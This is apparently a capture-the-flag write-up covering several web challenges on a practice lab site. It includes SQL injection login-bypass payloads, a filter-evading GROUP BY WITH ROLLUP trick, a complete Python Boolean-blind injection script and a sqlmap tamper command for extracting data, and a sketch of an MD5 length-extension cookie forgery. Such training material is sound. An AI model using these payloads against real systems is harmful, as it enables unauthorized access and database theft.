Preface
These were solved earlier; I am publishing the organized notes as a record.
I. Could You Log In?
According to the prompt:

This is clearly an injection challenge. Since it claims everything is filtered, we first need to identify the exact filter.

Submit:
username=' and or union select " < ( ) >-- #aa&password=
Response:
username:' and " < ( ) > aa
This shows that it filters or union select -- # Reconsider the challenge. It presents a login form and hints at injection, suggesting a universal-password login. But the required keywords or, union, and select are filtered. We must test according to the actual query, which is likely:
$sql = "select * from user where username='username' and password='password'" We need to make this query true. Submit username=thisistest'='0&password=thisistest'='0. The resulting statement contains four equals signs and therefore four comparisons.
1. Query for username thisistest, returning 1 if it exists and 0 otherwise. 2. Compare the result with 0. 3. Query for the encrypted password thisistest, returning 1 if it exists and 0 otherwise. 4. Compare that result with 0.
This can be tested directly against a database:
For username=ceshi&password=ceshi, both queries return 0, and each comparison with 0 is true, making the whole expression true and yielding the flag:

II. An Interesting Bypass
The page source reveals:
Visiting the page reveals:

The code is:
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
AttackFilter rejects POST data containing and, select, from, where, union, join, sleep, benchmark, commas, or parentheses. To receive the flag, the SQL query must be true and the submitted pwd must equal the stored pwd. First consider the first key point:
if (mysql_num_rows($query) == 1)
Because the usernames are unknown, force the query true with uname=admin' or 1 limit 1. LIMIT 1 is required because mysql_num_rows($query) == 1 permits exactly one record. Without it, the check fails. This also hints that the database has multiple rows; OFFSET can determine how many:
Offset 0 and Offset 1 bypass the check, while Offset 2 does not, proving that the database contains two rows.
Note: Offset 0 begins at the first row; Offset 1 begins at the second.
The second key is bypassing **$key['pwd'] == $_POST['pwd']**. I did not solve it independently; after reading the answer and researching it, here is the solution:
uname=admin' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
The added clause is GROUP BY pwd WITH ROLLUP. To understand its purpose, test it against the database:

Comparing the three figures shows that GROUP BY ... WITH ROLLUP returns the union of each group's result set without removing duplicates. For example:
Select * from admin group by password with rollup;
returns
After duplicate password values are removed, a new row with password=NULL is added and the data is listed.
Therefore the statementuname=admin' or 1 group by pwd with rollup limit 1 offset 2 #&pwd=
groups by pwd, removes duplicates, and adds a row where pwd is NULL. Submitting an empty pwd therefore satisfies $key['pwd'] == $_POST['pwd'] and returns the flag.

III. Simple SQL Injection 3 The prompt indicates error-based SQL injection. Basic testing shows it is Boolean-based blind injection, so use this script:
import requests
requests.adapters.DEFAULT_RETRIES = 150
s = requests.session()
s.keep_alive = False
newheader=dict()
newheader['Connection']='close'
len_database = ""
len_table = ""
len_columns = ""
database = ""
table = ""
column = ""
flag = ""
# get the length of the database name
for i in range(1,20):
url01 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and length(database())>"+ str(i) +"%23"
re = requests.get(url01,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
len_database = i
break
# get the database name
for i in range(1,len_database+1):
for j in range(33,126):
url02 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select database())," + str(i) + ",1))>" + str(j) + "%23"
#print url02
re = requests.get(url02,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
database = database + chr(j)
break
# get the length of the table name
for i in range(1,20):
url03 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select length(table_name) from information_schema.tables where table_schema='"+database+"' limit 0,1)>"+str(i)+" %23"
#print url03
re = requests.get(url03,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
len_table = i
break
# get the table name
for i in range(1,len_table+1):
for j in range(33,126):
url04 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='"+database+"' limit 0,1),+"+ str(i) +",1))>"+str(j)+"%23"
#print url04
re = requests.get(url04,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
table = table + chr(j)
break
# get the length of the column name
for i in range(1,10):
url05 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select length(column_name) from information_schema.columns where table_name = '"+table+"' limit 0,1)>"+str(i)+"%23"
#print url05
re = requests.get(url05,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
len_columns = i
break
# get the column name
for i in range(1,len_table+1):
for j in range(33,126):
url06 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = '"+table+"' limit 0,1),"+str(i)+", 1))>"+str(j)+"%23"
#print url06
re = requests.get(url06,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
column = column + chr(j)
break
# get the flag
for i in range(1,40):
for j in range(33,126):
url07 = "http://ctf5.shiyanbar.com/web/index_3.php?id=1'and ascii(substr((select "+column+" from "+table+" limit 0,1),"+str(i)+", 1))"+str(j)+"%23"
#print url07
re = requests.get(url07,newheader)
if re.text.encode('GBK','ignore').find('Hello')==-1:
flag = flag + chr(j)
break
print "The database is:"+database
print "The table is:"+table
print "The column is:"+column
print "The flag is:"+flag
SQLMap can solve this challenge directly:

IV. Simple SQL Injection 2
This resembles Simple SQL Injection 3, but it filters spaces. SQLMap's space2comment.py tamper module bypasses the WAF.
python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper "space2comment.py" --level 3-D web1 -T flag -C flag --dump

V. Simple SQL Injection
This challenge resembles Simple SQL Injection 2 and filters terms such as select, union, and spaces. Crucially, it merely replaces sensitive strings with empty strings, so duplicating them bypasses the filter. Payload:
1' unionunion selectselect flag fromfrom flag wherewhere '1'='1

VI. Speed Is the Only Unbeatable Martial Art
The prompt says to inspect response headers. Capture the request with Burp:
It is clearly Base64. Decode it:
The page source reveals:
It asks us to submit the decoded value by POST, so submit:
The prompt says we were too slow.
The FLAG response header changes on every refresh, so a script is required to retrieve it:
import requests
import base64
url = 'http://ctf5.shiyanbar.com/web/10/10.php'
re = requests.get(url)
flag = base64.b64decode(re.headers['flag']).split(':')[1]
value = {'key':flag}
result = requests.post(url = url,data = value)
print result.text
Run the script to obtain the flag.

VII. Let Me In
This challenge introduced another useful technique.
The prompt says: you may want to know what happens on the server. I captured and inspected the request:
Two unusual values appear: hash and source=0. Cookie fields set to 0 often hide functionality, so change it to 1:
Dump the source:
<?php
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!
$username = $_POST["username"];
$password = $_POST["password"];
if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
After reading it, we know:
1. secret is 15 characters long. 2. password cannot be admin. 3. The flag is returned only if the cookie contains getmein equal to md5($secret . urldecode($username . $password)). 4. sample-hash depends on secret and equals the MD5 of secret followed by adminadmin. The approach is therefore to construct a valid MD5 value using a hash length-extension attack: weaknesses in algorithms such as MD5 and SHA-1 allow a corresponding hash to be calculated without knowing the original key.
Returning to the captured request, we can see:
sample-hash=571580b26c65f306376d4f64e53cb5c7
This value is the MD5 digest of an unknown 15-character secret followed by adminadmin. A hash length-extension attack can therefore construct an equivalent cookie.
I did not continue because of time; interested readers can try it.
Reference:
Analysis of Hash Length-Extension Attacks